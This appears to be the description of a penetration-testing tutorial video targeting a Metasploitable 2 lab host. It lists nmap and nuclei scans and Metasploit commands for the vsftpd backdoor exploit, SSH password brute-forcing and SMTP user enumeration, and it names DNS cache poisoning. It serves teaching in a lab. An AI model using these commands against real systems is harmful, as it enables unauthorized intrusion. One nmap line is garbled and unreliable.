All the commands shown in the video are below. In this video I’m going to cover the first steps into linux servers penetration testing. We are going to start with reconnaissance activities using nmap. Afterwards we will scan for vulnerabilities using nuclei. Lastly, I'm going to exploit FTP, SSH, SMTP, and DNS services on this machine using the metasploit framework. Topics covered in this video: VSFTPD vulnerability SSH Brute forece login SMTP Enumerate users. SMTP Find server version. DNS Kaminsky Attack. DNS cache poisoning. 0:00 Intro 0:43 Reconnaissance 4:43 Vulnerability Scanning 5:25 Exploitation: FTP 8:07 Exploitation: SSH 10:03 Exploitation: SMTP 12:09 Exploitation: DNS Code: nmap 192.168.1.236 redirect open-tcp.txt wc -l open-tcp.txt nmap -p 0-65553192.168.1.236 redirect open-tcp.txt wc -l open-tcp.txt sudo nmap -sT 192.168.1.236 redirect open-tcp.txt sudo nmap -sU -T5 192.168.1.236 redirect open-udp.txt #FTP msfconsole use exploit/unix/ftp/vsftpd_234_backdoor show options set RHOST 192.168.1.236 run #ssh msfconsole use auxiliary/scanner/ssh/ssh_login set PASS_FILE passwords.txt set USER_FILE usernames.txt set RHOST 192.168.1.236 run #smtp msfconsole use auxiliary/scanner/smtp/smtp_version set RHOST 192.168.1.236 run use auxiliary/scanner/smtp/smtp_enum set RHOST 192.168.1.236 run Sources: https://www.infosecmatter.com/metasploit-module-library/ https://docs.rapid7.com/metasploit/metasploitable-2/ https://nuclei.projectdiscovery.io/ https://nmap.org/ Content: Scan open ports with nmap. Scan open TCP ports with nmap. Scan open UDP ports nmap. Scan server for vulnerabilities using nuclei. Exploit FTP servers using metasploit. VSFTPD Exploit Exploit SSH servers using metasploit. SSH Brute forece login Exploit SMTP servers using metasploit. SMTP Enumerate users. SMTP Find server version. Exploit DNS servers using metasploit. DNS Kaminsky Attack. DNS cache poisoning. Metasploitable 2 tutorial Metasploit framework tutorial